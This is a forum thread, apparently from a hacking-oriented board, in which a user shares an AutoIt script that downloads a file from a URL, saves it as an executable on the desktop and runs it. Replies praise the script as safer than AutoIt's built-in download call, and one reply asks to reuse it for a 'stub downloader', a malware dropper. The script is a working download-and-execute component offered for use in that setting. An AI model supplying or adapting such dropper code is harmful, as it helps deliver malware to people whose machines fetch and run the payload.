Login Register






Download File and Execute filter_list
Author
Message
Download File and Execute #1
Yeah , its a simple code to download and execute a file ( Downloader )

Hope they enjoy


;=======================================
; Download File and Execute ( No Inet )
; Autor : M3
; Thanks to Black Zerox
;=======================================


Global $sFinal = @DesktopDir & "\URL.exe"

sDownloadFile("URL OF FILE")

Sleep(999)

sShell("File Downloaded")


Func sDownloadFile($sLinkToDownload)

Local $ProtXML ,$sAStream
$ProtXML = ObjCreate("Microsoft.XMLHTTP")
$sAStream = ObjCreate("Adodb.Stream")
$ProtXML.Open("GET", $sLinkToDownload, 0)
$ProtXML.Send
$sAStream.Type = 1
$sAStream.Open
$sAStream.write($ProtXML.ResponseBody)
$sAStream.SaveToFile($sFinal)
$sAStream.Close

EndFunc



;Alternative Shellexecute
Func sShell($Path)

Local $Shell = ObjCreate("shell.application")
$Shell.ShellExecute($Path, "")

EndFunc
(This post was last modified: 09-18-2012, 07:01 PM by Sir12.)

Reply

RE: Download File and Execute #2
Great method! Alot more safer than InetGet() Smile
Pierce the life fibers with your drill.

Reply

RE: Download File and Execute #3
hi m3 Smile great code, and yeah much better than inetget Smile

may I use your code, to make a stub downloader?
[Image: AQiSh.jpg]

Reply

RE: Download File and Execute #4
Yes dude , you got the point , the original code is from Black Zerox , I just adapt from Au3 and change somenthings to make work , and works very well now, thaks for comments

Reply

RE: Download File and Execute #5
I know i am asking a lot, but love if you could explain this to me how the code works.
I just started to use AutoIt and i am impressed.
it wasn't me nobody saw me you can't prove anything

Knowledge is free

Reply

RE: Download File and Execute #6
thank you for share gr8 work
[Image: Untitled_1_copy.jpg]

Reply